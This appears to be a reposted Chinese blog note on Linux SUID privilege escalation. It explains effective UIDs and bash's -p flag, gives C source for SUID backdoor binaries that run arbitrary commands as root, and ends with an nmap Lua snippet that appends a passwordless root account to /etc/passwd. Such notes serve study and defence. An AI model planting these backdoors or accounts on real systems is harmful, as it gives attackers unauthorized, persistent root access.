zoukankan      html  css  js  c++  java
  • linux关于suid提权笔记

    suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

    设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

    这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

    • Real UID 执行该进程的用户实际的UID
    • Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
    • Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

    初代版本 suid.c

    int main(int argc, char* argv[]) {
        return system(argv[1]);
    }
    

    赋予 suid 权限 

    gcc suid.c -o suid
    
    chmod +s suid
    

    你以为这样就可以正常的利用好suid 后门了嘛???    不不不不 开始猜坑

    其实也就是一个-p的问题

    默认这样操作,也是有些系统可以正常获取suid 的 

    大佬帮测试的结果,保存一下

    Linux发行版输出结果
    Ubuntu 14.04 uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
    Ubuntu 16.04 uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Ubuntu 18.04 uid=33(www-data) gid=33(www-data) groups=33(www-data)
    CentOS 6 uid=33(www-data) gid=33(www-data) groups=33(www-data)
    CentOS 8 uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Debian 6 uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
    Debian 8 uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
    Kali 2019 uid=33(www-data) gid=33(www-data) groups=33(www-data)

    有些系统是root权限,有些系统仍然是原本用户权限。

    为什么会这样呢?

    https://linux.die.net/man/1/bash  bash 说明~

    因为system 函数调用的形式 为  /bin/bash -c 

    If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

    shell.c  继承suid 执行命令方法:

    利用setuid

    int main(int argc, char* argv[]) {
        setuid(0);
        system(argv[1]);
    }
    

      

    在代码中 -p 

    int main(int argc, char* argv[]) {
        return execl("/bin/sh", "sh", "-p", "-c", argv[1], (char *)0);
    }
    

      

    之前遇到老的  nmap --interactive //(+S)执行成功并没有获取到suid 的权限, (nmap 5.20以前)

     --interactive 中执行方式

    !sh执行的就是很简单的system('sh'),而且前面并没用丢弃Effective UID权限的操作 

    根据上面所测试的表格,所以导致SUID 继承失败...

    解决方法

    通过nmap 的script 进行提权

    local file = io.open("/etc/passwd", "a")
    file:write("root2::0:0::/root:/bin/bash
    ")
    file:close()
    

      

  • 相关阅读:
    2、从0开始学算法 时间/空间复杂度(如何知道你的代码性能如何?)
    1、从0开始学算法 概述
    机器学习(五):通俗易懂决策树与随机森林及代码实践
    机器学习(四):通俗理解支持向量机SVM及代码实践
    机器学习(三):理解逻辑回归及二分类、多分类代码实践
    HDU 2492 Ping pong (树状数组)
    yum更新失败
    webpack3配置rules的问题
    置顶帖汇总
    2021.07.03软件更新公告
  • 原文地址:https://www.cnblogs.com/0xdd/p/12732684.html
Copyright © 2011-2022 走看看